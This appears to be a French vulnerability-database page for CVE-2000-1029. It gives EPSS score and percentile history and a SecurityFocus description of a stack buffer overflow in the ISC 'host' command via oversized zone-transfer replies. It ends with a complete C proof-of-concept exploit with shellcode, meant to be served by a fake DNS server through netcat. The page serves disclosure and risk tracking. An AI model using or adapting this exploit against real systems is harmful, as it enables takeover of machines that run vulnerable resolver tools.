CVE-2000-1029 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	0.79%	–
2023-05-07	–	–	–	0.94%	–
2024-02-11	–	–	–	0.94%	–
2024-06-02	–	–	–	0.94%	–
2024-10-27	–	–	–	0.94%	–
2024-12-22	–	–	–	16.71%	–
2025-01-19	–	–	–	16.71%	–
2025-03-18	–	–	–	–	7.61%
2025-03-30	–	–	–	–	9.29%
2025-03-30	–	–	–	–	9.29,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	79%
2023-05-07	81%
2024-02-11	83%
2024-06-02	83%
2024-10-27	84%
2024-12-22	96%
2025-01-19	96%
2025-03-18	91%
2025-03-30	92%
2025-03-30	92%

// source: https://www.securityfocus.com/bid/1887/info An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command. host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made. command line: ./host -l -v -t any somezone.org <fake server> proof of concepts exploit: /* hostexp.c * cc hostexp.c -o hostexp * * usage: ./hostexp | nc -l -p 53 */ #include <stdio.h> #include <netinet/in.h> int main(void) { int offset = 140; unsigned int base = 0xbffff74c+offset, i; char shellcode[] = /* 48 bytes, ripped */ "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/ls"; unsigned short a = htons(1024); char buffer[1026]; memcpy(buffer, &a, 2); memset(buffer+2, 'A', 100); /* avoid response processing */ memset(buffer+102, 0x90, 100); memcpy(buffer+202, shellcode, 48); for (i = 202+48; i < 202+48+600; i+=4) memcpy(buffer+i, &base, 4); write(fileno(stdout), buffer, 1026); return 0; }